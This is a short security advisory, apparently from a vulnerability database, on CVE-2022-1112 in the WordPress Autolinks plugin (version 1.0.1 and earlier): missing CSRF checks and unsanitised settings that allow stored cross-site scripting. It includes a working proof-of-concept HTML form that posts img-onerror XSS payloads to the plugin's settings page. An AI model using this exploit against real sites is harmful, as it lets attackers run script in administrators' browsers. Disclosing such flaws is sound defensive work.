Autolinks <= 1.0.1 – Stored Cross-Site Scripting via CSRF | CVE 2022-1112

Description

The plugin does not have CSRF check in place when updating its settings, and does not sanitise as well as escape them, which could allow attackers to perform Stored Cross-Site scripting against a logged in admin via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=wp-autolinks.php" method="POST">
      <input type="hidden" name="Image_Title_Prefix" value='Read Article:"><img src onerror=prompt(/XSS1/)>' />
      <input type="hidden" name="Image_Alt_Prefix" value="Read Article:"><img src onerror=prompt(/XSS2/)>" />
      <input type="hidden" name="Only_Auto_Link_First_Image" value="false" />
      <input type="hidden" name="Update_Auto_Link_Plugin_Settings" value="Update Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>